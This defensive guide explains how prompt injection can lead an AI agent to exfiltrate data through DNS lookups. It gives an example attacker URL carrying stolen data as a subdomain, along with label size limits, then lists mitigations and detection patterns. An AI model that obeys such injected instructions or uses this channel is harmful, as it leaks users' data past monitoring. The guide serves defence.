DNS exfiltration encodes stolen data in DNS queries, transmitting it through a channel that many security controls overlook. AI agents with network access can be manipulated into making DNS lookups that carry sensitive data to attacker-controlled name servers.
The attacker's prompt injection instructs the agent to make a request to a crafted URL: https://stolen-data-here.attacker-dns.com/. The agent resolves the hostname, sending a DNS query to the attacker's name server. The query contains the encoded data as a subdomain label.
No HTTP request needs to succeed. The DNS query alone transmits the data. This bypasses HTTP-level monitoring and URL filtering that might block the request at the application layer.
DNS queries are ubiquitous. Most network configurations allow outbound DNS. Firewalls that block arbitrary outbound HTTP often permit DNS. DNS queries are rarely logged or inspected at the application level.
Each DNS label can carry up to 63 bytes, and a full domain name supports up to 253 bytes. Multiple sequential queries can exfiltrate kilobytes of data within seconds.
Agents that browse the web, make API calls, or fetch URLs all perform DNS resolution as a side effect. A URL that appears in a document, a link in retrieved content, or an image source in an HTML page can all trigger DNS queries that exfiltrate data.
An agent does not need explicit DNS tools. Any network request implicitly performs DNS resolution.
DNS monitoring. Log and analyze DNS queries from agent infrastructure. Flag queries to newly registered domains, domains with high-entropy subdomain labels, or unusual query volumes. Authensor's Sentinel engine can monitor DNS patterns when integrated with your network telemetry.
DNS filtering. Use a DNS resolver that blocks queries to known malicious domains and flags suspicious query patterns. Pi-hole or corporate DNS filtering can block exfiltration attempts at the resolver level.
URL pre-resolution with IP validation. Resolve URLs before allowing the agent to fetch them. Validate the resolved IP against your allowlist. This ensures you control which DNS queries the agent triggers.
Network segmentation. Route agent DNS queries through a monitored resolver rather than allowing direct outbound DNS.
Content scanning. Authensor's Aegis scanner can detect URLs with suspicious domain patterns in content before the agent processes them, blocking the exfiltration attempt before any DNS query occurs.
Monitor for DNS query patterns that indicate exfiltration: queries with base64-like subdomain labels, sequential queries to the same parent domain with varying subdomains, and queries to domains registered within the last 30 days.
Explore more guides on AI agent safety, prompt injection, and building secure systems.
View All Guides